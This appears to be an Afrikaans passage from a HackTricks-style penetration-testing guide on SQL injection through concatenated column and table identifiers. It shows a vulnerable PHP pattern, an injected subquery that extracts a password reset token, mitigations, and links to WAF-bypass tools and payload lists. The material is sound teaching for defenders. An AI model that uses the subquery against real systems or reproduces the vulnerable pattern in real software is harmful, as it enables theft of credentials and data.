As gebruikersinvoer in die SELECT list of tabel/kolom identifiers gekonkateneer word, sal prepared statements nie help nie, omdat bind parameters slegs values beskerm en nie identifiers nie. 'n Algemene kwesbare patroon is:
|
||
```php
|
||
// Pseudocode
|
||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||
$stmt = $db->pquery($q, [$rec_id]);
|
||
```
|
||
Idee vir uitbuiting: inject a subquery into the field position to exfiltrate arbitrary data:
|
||
```sql
|
||
-- Legit
|
||
SELECT user_name FROM vte_users WHERE id=1;
|
||
|
||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||
```
|
||
Aantekeninge:
|
||
- Dit werk selfs wanneer die WHERE clause 'n bound parameter gebruik, omdat die identifier list steeds string-concatenated is.
|
||
- Sommige stacks laat jou ook toe om die table name te beheer (tablename injection), wat cross-table reads moontlik maak.
|
||
- Output sinks kan die gekose waarde in HTML/JSON reflekteer, wat XSS of token exfiltration direk vanaf die response toelaat.
|
||
|
||
Mitigasies:
|
||
- Moet nooit identifiers van gebruikersinvoer saamvoeg nie. Kaart toegelate kolomname na 'n vaste allow-list en citeer identifiers behoorlik.
|
||
- As dynamic table access nodig is, beperk dit tot 'n beperkte stel en los dit server-side op vanuit 'n veilige mapping.
|
||
|
||
### WAF-bypass-voorsteltools
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/m4ll0k/Atlas
|
||
{{#endref}}
|
||
|
||
## Ander Gidse
|
||
|
||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Brute-Force-detectielys
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||
{{#endref}}
|
||
|
||
## Verwysings
|
||
|
||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|